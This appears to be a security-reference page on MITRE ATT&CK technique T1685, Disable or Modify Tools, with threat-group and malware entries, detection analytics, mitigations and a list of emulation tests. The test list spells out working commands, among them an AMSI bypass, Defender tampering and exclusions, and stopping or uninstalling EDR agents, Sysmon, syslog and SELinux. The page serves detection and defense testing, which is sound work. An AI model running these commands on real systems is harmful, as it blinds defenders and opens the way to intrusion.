tfMITRE ATT&CK technique

Disable or Modify Tools T1685

Tactic: Defense Impairment
Platforms: Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
Version: 1.0
Created: 14 April 2026
Last modified: 12 May 2026
Contributors: Alex Soler, AttackIQ; Cian Heasley; Daniel Feichter, @VirtualAllocEx, Infosec Tirol; Gal Singer, @galsinger29, Team Nautilus Aqua Security; Gordon Long, LegioX/Zoom, asaurusrex; Lucas Heiligenstein; Menachem Goldstein; Nathaniel Quist, Palo Alto Networks; Nay Myo Hlaing (Ethan), DBS Bank; Rob Smith; Sarathkumar Rajendran, Microsoft Defender365; Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security

Sub-techniques 6366 rules across the family · 288 mapped directly to T1685 · 5 of 6 carry rules

.001Disable or Modify Windows Event Log41 .002Disable or Modify Cloud Log22 .003Modify or Spoof Tool UI0 .004Disable or Modify Linux Audit System Log4 .005Clear Windows Event Logs14 .006Clear Linux or Mac System Logs4

Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities. This may include stopping specific services, killing processes, modifying or deleting tool configuration files and Registry keys, or preventing tools from updating. This may also include impairing defenses more broadly by disrupting preventative, detection, and response mechanisms across host, network, and cloud environments.[1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 5%

Threat groups95th percentile · 95% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 4%

Campaigns96th percentile · 96% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 5%

Tools & malware95th percentile · 95% of ATT&CK techniques have this many tools implementing them or fewer.

288

Detection rulesTop 1%

Detection rules100th percentile · 100% of ATT&CK techniques have this many detection rules written or fewer.

Disable or Modify Tools MITRE reference T1685

Top 5%of all ATT&CK techniques for number of groups

32 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

MirrorFaceG1054 ↗

Has disabled Windows Defender in compromised environments.1

created 2026-04-171 referenceaka Earth Kasha

Contagious InterviewG1052 ↗

Has convinced victims to disable Docker and other container environments and run code on their machine natively in attempts to bypass container isolation and ensure device infection.1

created 2025-10-191 referenceaka DeceptiveDevelopment

Medusa GroupG1051 ↗

Has terminated antivirus services utilizing the gaze.exe executable and utilizing psexec.exe.1 2 3 Medusa Group has also leveraged I/O control codes (IOCTLs) for terminating and deleting processes of identified security tools.1

created 2025-10-154 references

UNC3886G1048 ↗

Has disabled OpenSSL digital signature verification of system files through corruption of boot files.1

created 2025-05-291 reference

Velvet AntG1047 ↗

Attempted to disable local security tools and endpoint detection and response (EDR) software during operations.1

created 2025-03-141 reference

BlackByteG1043 ↗

Disabled security tools such as Windows Defender and the Raccine anti-ransomware tool during operations.1 2 3

created 2024-12-163 referencesaka Hecamede

All 32 groups for this technique · 6 newest in this preview

9 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

SharePoint ToolShell ExploitationC0058 ↗

During SharePoint ToolShell Exploitation, threat actors disabled Microsoft Defender through Registry settings and real-time monitoring via PowerShell.1 2

2025

Cutting EdgeC0029 ↗

During Cutting Edge, threat actors disabled logging and modified the compcheckresult.cgi component to edit the Ivanti Connect Secure built-in Integrity Checker exclusion list to evade detection.1 2

2023–2024

Quad7 ActivityC0055 ↗

Has disabled the TP-Link management interface for TP-Link by killing the /usr/bin/httpd process.1 2 3

2023–2025

ArcaneDoorC0046 ↗

Modified the Authentication, Authorization, and Accounting (AAA) function of targeted Cisco ASA appliances to allow the threat actor to bypass normal AAA operations.1 2

2023–2024

KV Botnet ActivityC0035 ↗

Used various scripts to remove or disable security tools, such as http_watchdog and firewallsd, as well as tools related to other botnet infections, such as mips_ff, on victim devices.1

2022–2024

HomeLand JusticeC0038 ↗

During HomeLand Justice, threat actors modified and disabled components of endpoint detection and response (EDR) solutions including Microsoft Defender Antivirus.1

2021–2022

All 9 campaigns for this technique · 6 newest in this preview

87 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

LazyWiperS9039 ↗

Can disable Microsoft Windows Defender Real-Time Monitoring with the Set-MpPreference cmdlet.1

created 2026-04-22MALWARE

SPAWNCHIMERAS9024 ↗

Has modified the Ivanti Integrity Checker Tool to evade detection.1 2

created 2026-04-17MALWARE

PureCrypterS9019 ↗

Has executed Set-MpPreference -ExclusionPath to exclude files or folders from Windows Defender scans.1

created 2026-04-16MALWAREcarried by 1 group

DCRATS9017 ↗

Can patch Microsoft’s Antimalware Scan Interface (AMSI) to evade detection.1

created 2026-04-16TOOLcarried by 1 group

PHASEJAMS9014 ↗

Has modified Ivanti Connect Secure appliances and blocks the system upgrades by altering the DSUpgrade.pm file.1

created 2026-04-16MALWARE

DRYHOOKS9013 ↗

Has killed all instances of the cgi-server process in order for the modified Perl module to be activated.1

created 2026-04-14MALWARE

All 87 software entries for this technique · 6 newest in this preview

Offense vs defense T1685

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 8Sigma rules (cumulative) · 165Splunk ESCU (cumulative) · 123

first rule: 2017 Q2 · 8 of 9 campaigns plotted (Night Dragon (dated 2009) falls before the 2014 window)

Disable or Modify Tools detection strategy DET0497

MITRE names one behaviour worth catching for this technique and breaks it into 7 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection of Defense Impairment through Disabled or Modified Tools across OS Platforms.

Enterprise

7 platforms

AN1369 · Windows

Detection of adversary behavior that disables or modifies security tools, including killing AV/EDR processes, stopping services, altering Sysmon registry keys, or tampering with exclusion lists. Defenders observe process/service termination, registry modification, and abnormal absence of expected telemetry.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process TerminationDC0033	WinEventLog:Sysmon	EventCode=5
Service CreationDC0060	WinEventLog:System	EventCode=7045
Windows Registry Key ModificationDC0063	WinEventLog:Sysmon	EventCode=13, 14

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ProcessNameExclusions	List of expected administrative tools/processes to prevent false positives.
TimeWindow	Defines correlation window linking process termination, registry edits, and service stoppage.
ServiceNames	Customizable list of security service names per enterprise deployment.

AN1370 · Linux

Detects kill/systemctl/service commands against EDR, auditd, falco, osquery, rsyslog, journald, or agent processes; configuration edits disabling startup; module unload attempts; abrupt cessation of logs after privileged shell execution.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve: systemctl stop, service stop, or kill -9 on security daemons (e.g., falcon-sensor, auditd)
Service MetadataDC0041	auditd:CONFIG_CHANGE	delete: Modification of systemd unit files or config for security agents

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AgentServiceNames	List of endpoint protection service names (varies across deployments).
AllowedAdminAccounts	Accounts permitted to legitimately stop or reconfigure services.

AN1371 · macOS

Detection of adversary disabling endpoint security tools by unloading launch agents/daemons, modifying configuration profiles, or disabling Gatekeeper/XProtect/logging settings, or removing endpoint agents followed by telemetry loss.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	Execution of launchctl unload, kill, or removal of security agent daemons
Service MetadataDC0041	macos:unifiedlog	Modification of system configuration profiles affecting security tools

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
DaemonNames	Expected security agent daemons (e.g., com.crowdstrike.falcon.Agent).
TimeWindow	Detection correlation period for multiple security tool disable actions.

AN1372 · IaaS

Correlates control-plane API actions disabling cloud-native monitoring or sensor agents (CloudTrail, GuardDuty, Security Hub, Defender, monitoring agents), role abuse preceding disablement, or instance agent uninstall events

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Cloud Service ModificationDC0069	AWS:CloudTrail	Delete* / Stop*: DeleteAlarms, StopLogging, or DisableMonitoring API calls

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
APIActions	Customizable list of cloud provider API calls related to monitoring/alerting disablement.
UserContext	Distinguishes adversary actions from authorized DevOps/CloudOps activities.

AN1373 · Containers

Detects disabling container runtime security controls, removing sidecar sensors, modifying seccomp/AppArmor profiles, mounting host proc/sys paths to interfere with host logging, or killing in-container monitoring agents.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Service MetadataDC0041	kubernetes:audit	kubectl delete or patch of security pods/admission controllers

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
NamespaceExclusions	Exclusion of namespaces where temporary deletion of monitoring tools is legitimate (e.g., staging).

AN1374 · Network Devices

Detects disabling AAA, syslog, SNMP traps, ACL logging, or security features on routers/switches/firewalls; correlates privileged login followed by configuration commit reducing visibility.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Host StatusDC0018	networkdevice:syslog	no logging host, no aaa new-model, no snmp-server, commit
Service MetadataDC0041	networkdevice:config	write: Startup configuration changes disabling security checks

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ConfigBaseline	Reference configuration state for detecting unauthorized modifications.

AN2044 · ESXi

Detects esxcli commands disabling syslog, firewall, lockdown mode, or stopping hostd/vpxa; correlates command execution with reduced forwarding activity.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Command ExecutionDC0064	esxi:shell	esxcli system syslog config set/reload, services.sh restart/stop
Service ModificationDC0065	esxi:hostd	service state change

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ExpectedAdminIPs	Authorized management sources.

AuditM1047

Periodically verify that tools are functioning appropriately – for example, that all expected hosts with EDRs or monitoring agents are checking in to the central console. Check EDRs to ensure that no unexpected exclusion paths have been added. In Microsoft Defender for Endpoint, exclusions can be reviewed with the Get-MpPreference cmdlet.

Disable or Remove Feature or ProgramM1042

Consider removing previous versions of tools that are unnecessary to the environment when possible.

Execution PreventionM1038

Use application control where appropriate, especially regarding the execution of tools outside of the organization's security policies (such as rootkit removal tools) that have been abused to impair system defenses. Ensure that only approved security applications are used and running on enterprise systems.

Restrict File and Directory PermissionsM1022

Ensure proper process and file permissions are in place to prevent adversaries from disabling or interfering with security services.

Restrict Registry PermissionsM1024

Ensure proper Registry permissions are in place to prevent adversaries from disabling or interfering with security services.

Software ConfigurationM1054

Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.

User Account ManagementM1018

Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with security services.

Tests77ExecutorsPowerShell 34 · sh 20 · cmd 19 · bash 4Need elevation69 of 77Have prerequisites13Have cleanup63Platformswindows, linux, macos, office-365, iaas:aws

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 Windows Disable LSA Protection windows cmd Required — Yes

The following Atomic adds a registry entry to disable LSA Protection. The LSA controls and manages user rights information, password hashes and other important bits of information in memory. Attacker tools, such as mimikatz, rely on accessing this content to scrape password hashes or clear-text passwords. Enabling LSA Protection configures Windows to control the information stored in memory in a more secure fashion - specifically, to prevent non-protected processes from accessing that data. Upon successful execution, the registry will be modified and RunAsPPL will be set to 0, disabling Lsass protection. https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection#how-to-disable-lsa-protection https://blog.netwrix.com/2022/01/11/understanding-lsa-protection/ https://thedfirreport.com/2022/03/21/phosphorus-automates-initial-access-using-proxyshell/

Attack command

reg add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f

Cleanup command

reg delete HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /f >nul 2>&1

GUIDafede859-4457-48b3-b238-c1141593cb54

02 Disable journal logging via systemctl utility linux sh Required — Yes

The atomic test disables the journal logging using built-in systemctl utility

Attack command

sudo systemctl stop systemd-journald #disables journal logging

Cleanup command

sudo systemctl start systemd-journald #starts journal service
sudo systemctl enable systemd-journald #starts journal service automatically at boot time

GUID52f72dfe-0155-41a6-b3b5-c3101de4f3e5

03 Disable journal logging via sed utility linux sh Required — Yes

The atomic test disables the journal logging by searching and replacing the "Storage" parameter to "none" within the journald.conf file, thus any new journal entries will only be temporarily available in memory and not written to disk

Attack command

sudo sed -i 's/Storage=auto/Storage=none/' /etc/systemd/journald.conf

Cleanup command

sudo sed -i 's/Storage=none/Storage=auto/' /etc/systemd/journald.conf #re-enables storage of journal data
sudo systemctl restart systemd-journald #restart the journal service

GUIDa6dd0fe9-03cb-4ed3-857a-e20bd95fad02

04 Disable syslog linux sh Required 1 Yes

Disables syslog collection

Input arguments

Name	Type	Default	Description
flavor_command	string	systemctl stop rsyslog ; systemctl disable rsyslog	Command to disable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog stop ; chkconfig off rsyslog
cleanup_command	string	systemctl start rsyslog ; systemctl enable rsyslog	Command to enable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog start ; chkconfig rsyslog on
package_checker	string	(rpm -q rsyslog 2>&1 >/dev/null) \|\| (dpkg -s rsyslog \| grep -q installed)	Package checking command for linux.
package_installer	string	(which yum && yum -y install epel-release rsyslog)\|\|(which apt-get && apt-get install -y rsyslog)	Package installer command for linux. Default yum

Attack command

#{flavor_command}

Cleanup command

#{cleanup_command}

Prerequisite

Package with rsyslog must be on system

Check

if #{package_checker} > /dev/null; then exit 0; else exit 1; fi

Satisfy

sudo #{package_installer}

GUID5ac92981-c2cd-4123-bafc-2617808350c2

05 Disable syslog (freebsd) linux sh Required — Yes

Disables syslog collection

Attack command

service syslogd stop
sysrc syslogd_enable="NO"

Cleanup command

sysrc syslogd_enable="YES"
service syslogd start

GUID701bc92e-e521-4d87-8e55-8a2b8dc1a695

06 Disable Cb Response linux sh — — —

Disable the Cb Response service

Attack command

if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
then
  service cbdaemon stop
  chkconfig off cbdaemon
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
  systemctl stop cbdaemon
  systemctl disable cbdaemon
fi

GUIDc7ecfe02-7528-4c17-8f57-2bf5ceb122be

07 Disable SELinux linux sh Required 1 Yes

Disables SELinux enforcement

Attack command

setenforce 0

Cleanup command

setenforce 1

Prerequisite

SELinux must be installed

Check

which setenforce

Satisfy

echo "SELinux is not installed"; exit 1

GUID6093a5e3-9975-43b4-8f65-494fb4228130

08 Stop Crowdstrike Falcon on Linux linux sh Required — Yes

Stop and disable Crowdstrike Falcon on Linux

Attack command

sudo systemctl stop falcon-sensor.service
sudo systemctl disable falcon-sensor.service

Cleanup command

sudo systemctl enable falcon-sensor.service
sudo systemctl start falcon-sensor.service

GUID1721df1e-4360-48eb-a6af-a17b1bdf16a6

09 Disable Carbon Black Response macos sh Required — Yes

Disables Carbon Black Response

Attack command

sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist

Cleanup command

sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.plist
sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist

GUID93a299e1-164e-409e-a8dd-edba0db486be

10 Disable LittleSnitch macos sh Required — Yes

Disables LittleSnitch

Attack command

sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist

Cleanup command

sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist

GUIDf272be99-6b2f-4b4e-a951-ad85ad767e6b

11 Disable OpenDNS Umbrella macos sh Required — Yes

Disables OpenDNS Umbrella

Attack command

sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist

Cleanup command

sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist

GUIDe4d7b4f6-70c2-4bc6-99d3-448098541828

12 Disable macOS Gatekeeper macos sh Required — Yes

Disables macOS Gatekeeper

Attack command

sudo spctl --master-disable

Cleanup command

sudo spctl --master-enable

GUID40934574-9266-44a2-9496-c2ec52124f6d

13 Stop and unload Crowdstrike Falcon on macOS macos sh Required — Yes

Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS

Input arguments

Name	Type	Default	Description
falcond_plist	path	/Library/LaunchDaemons/com.crowdstrike.falcond.plist	The path of the Crowdstrike Falcon plist file
userdaemon_plist	path	/Library/LaunchDaemons/com.crowdstrike.userdaemon.plist	The path of the Crowdstrike Userdaemon plist file

Attack command

sudo launchctl unload #{falcond_plist}
sudo launchctl unload #{userdaemon_plist}

Cleanup command

sudo launchctl load -w #{falcond_plist}
sudo launchctl load -w #{userdaemon_plist}

GUIDcb99e397-eb3c-47d7-a58c-956bf6c5c81d

14 Unload Sysmon Filter Driver windows cmd Required 3 Yes

Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution, run the prereq_command's and it should fail with an error of "sysmon filter must be loaded".

Input arguments

Name	Type	Default	Description
sysmon_driver	string	SysmonDrv	The name of the Sysmon filter driver (this can change from the default)

Attack command

fltmc.exe unload #{sysmon_driver}

Cleanup command

sysmon -u -i > nul 2>&1
sysmon -i -accepteula -i > nul 2>&1
"PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -u > nul 2>&1
"PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i > nul 2>&1

Prerequisite

Sysmon must be downloaded

Check

if ((cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr /i Sysmon 2> nul") -or (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe")) { exit 0 } else { exit 1 }

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Sysmon.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Sysmon.zip" "PathToAtomicsFolder\..\ExternalPayloads\Sysmon" -Force

Prerequisite

sysmon must be Installed

Check

if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 }

Satisfy

if(cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") { C:\Windows\Sysmon.exe -accepteula -i } else
{ & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i}

Prerequisite

sysmon filter must be loaded

Check

if(fltmc.exe filters | findstr #{sysmon_driver}) { exit 0 } else { exit 1 }

Satisfy

if(Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe"){
  & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -u
  & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i
}else{
  sysmon -u
  sysmon -accepteula -i
}

GUID0c2ca68e-8c19-4b57-b074-b967ae4bbb6f

15 Uninstall Sysmon windows cmd Required 2 Yes

Uninstall Sysinternals Sysmon for Defense Evasion

Input arguments

Name	Type	Default	Description
sysmon_exe	path	PathToAtomicsFolder\T1685\bin\sysmon.exe	The location of the Sysmon executable from Sysinternals (ignored if sysmon.exe is found in your PATH)

Attack command

sysmon -u

Cleanup command

sysmon -i -accepteula >nul 2>&1

Prerequisite

Sysmon executable must be available

Check

if(cmd /c where sysmon) {exit 0} else {exit 1}

Satisfy

$parentpath = Split-Path "#{sysmon_exe}"; $zippath = "$parentpath\Sysmon.zip"
New-Item -ItemType Directory $parentpath -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$zippath"
Expand-Archive $zippath $parentpath -Force; Remove-Item $zippath
if(-not ($Env:Path).contains($parentpath)){$Env:Path += ";$parentpath"}

Prerequisite

Sysmon must be installed

Check

if(cmd /c sc query sysmon) { exit 0} else { exit 1}

Satisfy

cmd /c sysmon -i -accepteula

GUID94e5282d-3fa5-4f2e-86ed-5c1bf0c5a6b8

16 AMSI Bypass - AMSI InitFailed windows PowerShell — — Yes

Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsiInitFailed" function to true. Upon execution, no output is displayed. https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

Attack command

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Cleanup command

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$false)

GUID016bddae-7857-49f9-813a-ec700dfe9329

17 AMSI Bypass - Remove AMSI Provider Reg Key windows PowerShell Required — Yes

With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection. This test removes the Windows Defender provider registry key. Upon execution, no output is displayed. Open Registry Editor and navigate to "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\" to verify that it is gone.

Attack command

Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse

Cleanup command

New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name "{2781761E-28E0-4109-99FE-B9D127C57AFE}" -ErrorAction Ignore | Out-Null

GUID0034b58f-6d23-4003-8154-1a1e8a0eb975

18 Disable Arbitrary Security Windows Service windows cmd Required — Yes

With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed. Change the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service. To verify that the service has stopped, run "sc query McAfeeDLPAgentService"

Input arguments

Name	Type	Default	Description
service_name	string	McAfeeDLPAgentService	The name of the service to stop

Attack command

net.exe stop #{service_name}
sc.exe config #{service_name} start= disabled

Cleanup command

sc.exe config #{service_name} start= auto >nul 2>&1
net.exe start #{service_name} >nul 2>&1

GUIDcc059375-410c-4dc7-b9cf-cf25dc8116e3

19 Tamper with Windows Defender ATP PowerShell windows PowerShell Required — Yes

Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled in Windows settings.

Attack command

Set-MpPreference -DisableRealtimeMonitoring 1
Set-MpPreference -DisableBehaviorMonitoring 1
Set-MpPreference -DisableScriptScanning 1
Set-MpPreference -DisableBlockAtFirstSeen 1

Cleanup command

Set-MpPreference -DisableRealtimeMonitoring 0
Set-MpPreference -DisableBehaviorMonitoring 0
Set-MpPreference -DisableScriptScanning 0
Set-MpPreference -DisableBlockAtFirstSeen 0

GUID6a177f32-3851-4103-a9ef-c756e362c188

20 Tamper with Windows Defender Command Prompt windows cmd Required — Yes

Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator. However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, "Access Denied" will be displayed twice and the WinDefend service status will be displayed.

Attack command

sc stop WinDefend
sc config WinDefend start=disabled
sc query WinDefend

Cleanup command

sc start WinDefend >nul 2>&1
sc config WinDefend start=enabled >nul 2>&1

GUID6777592f-edf3-4594-a3d2-9073309d3cf5

21 Tamper with Windows Defender Registry windows PowerShell Required — Yes

Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be grayed out and have no info.

Attack command

Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1

Cleanup command

Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0

GUID44520522-bc64-4a49-983d-7e838ca95bf2

22 Disable Microsoft Office Security Features windows PowerShell — — Yes

Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not show any warning before editing the document. https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/

Attack command

New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel"
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security"
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -Value "1" -PropertyType "Dword"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableInternetFilesInPV" -Value "1" -PropertyType "Dword"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableUnsafeLocationsInPV" -Value "1" -PropertyType "Dword"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableAttachementsInPV" -Value "1" -PropertyType "Dword"

Cleanup command

Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -ErrorAction Ignore | Out-Null
Remove-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -ErrorAction Ignore

GUID0bd4108b-1edc-4170-8273-e9d47c26a134

23 Remove Windows Defender Definition Files windows cmd Required — —

Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments. On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the command will say completed. https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/

Attack command

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

GUID93b4df32-ad1a-4599-95cd-779f9355133a

24 Stop and Remove Arbitrary Security Windows Service windows PowerShell Required — —

Beginning with Powershell 6.0, the Stop-Service cmdlet sends a stop message to the Windows Service Controller for each of the specified services. The Remove-Service cmdlet removes a Windows service in the registry and in the service database.

Input arguments

Name	Type	Default	Description
service_name	string	McAfeeDLPAgentService	The name of the service to remove

Attack command

Stop-Service -Name #{service_name}
Remove-Service -Name #{service_name}

GUID0ab436ca-9dd4-4392-847f-8b9d182b79af

25 Uninstall Crowdstrike Falcon on Windows windows PowerShell Required — —

Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.

Input arguments

Name	Type	Default	Description
falcond_path	path	C:\ProgramData\Package Cache\{7489ba93-b668-447f-8401-7e57a6fe538d}\WindowsSensor.exe	The Crowdstrike Windows Sensor path. The Guid always changes.

Attack command

if (Test-Path "#{falcond_path}") {. "#{falcond_path}" /repair /uninstall /quiet } else { Get-ChildItem -Path "C:\ProgramData\Package Cache" -Include "WindowsSensor.exe" -Recurse | % { $sig=$(Get-AuthenticodeSignature -FilePath $_.FullName); if ($sig.Status -eq "Valid" -and $sig.SignerCertificate.DnsNameList -eq "CrowdStrike, Inc.") { . "$_" /repair /uninstall /quiet; break;}}}

GUID679e8077-52b9-4985-8883-41fab491ae00

26 Tamper with Windows Defender Evade Scanning -Folder windows PowerShell Required — Yes

Malware can exclude a specific path from being scanned and evading detection. Upon successul execution, the file provided should be on the list of excluded path. To check the exclusion list using poweshell (Get-MpPreference).ExclusionPath

Input arguments

Name	Type	Default	Description
excluded_folder	path	C:\Temp	This folder will be excluded from scanning

Attack command

$excludedpath= "#{excluded_folder}"
Add-MpPreference -ExclusionPath $excludedpath

Cleanup command

$excludedpath= "#{excluded_folder}"
Remove-MpPreference -ExclusionPath $excludedpath

GUID684faf2f-5776-4ed9-8374-b481d7d8a8e9

27 Tamper with Windows Defender Evade Scanning -Extension windows PowerShell Required — Yes

Malware can exclude specific extensions from being scanned and evading detection. Upon successful execution, the extension(s) should be on the list of excluded extensions. To check the exclusion list using poweshell (Get-MpPreference).ExclusionExtension.

Input arguments

Name	Type	Default	Description
excluded_exts	string	.exe	A list of extension to exclude from scanning

Attack command

$excludedExts= "#{excluded_exts}"
Add-MpPreference -ExclusionExtension  $excludedExts

Cleanup command

$excludedExts= "#{excluded_exts}"
Remove-MpPreference -ExclusionExtension  $excludedExts -ErrorAction Ignore

GUID5e670de4-42a8-4a09-be38-e29ddb143cfa

28 Tamper with Windows Defender Evade Scanning -Process windows PowerShell Required — Yes

Malware can exclude specific processes from being scanned and evading detection. Upon successful execution, the process(es) should be on the list of excluded processes. To check the exclusion list using poweshell (Get-MpPreference).ExclusionProcess."

Input arguments

Name	Type	Default	Description
excluded_process	string	outlook.exe	A list of processes to exclude from scanning

Attack command

$excludedProcess = "#{excluded_process}"
Add-MpPreference -ExclusionProcess $excludedProcess

Cleanup command

$excludedProcess = "#{excluded_process}"
Remove-MpPreference -ExclusionProcess  $excludedProcess

GUID69c76ad0-9120-46ed-9773-25d4012c455b

29 office-365-Disable-AntiPhishRule office-365 PowerShell — 1 Yes

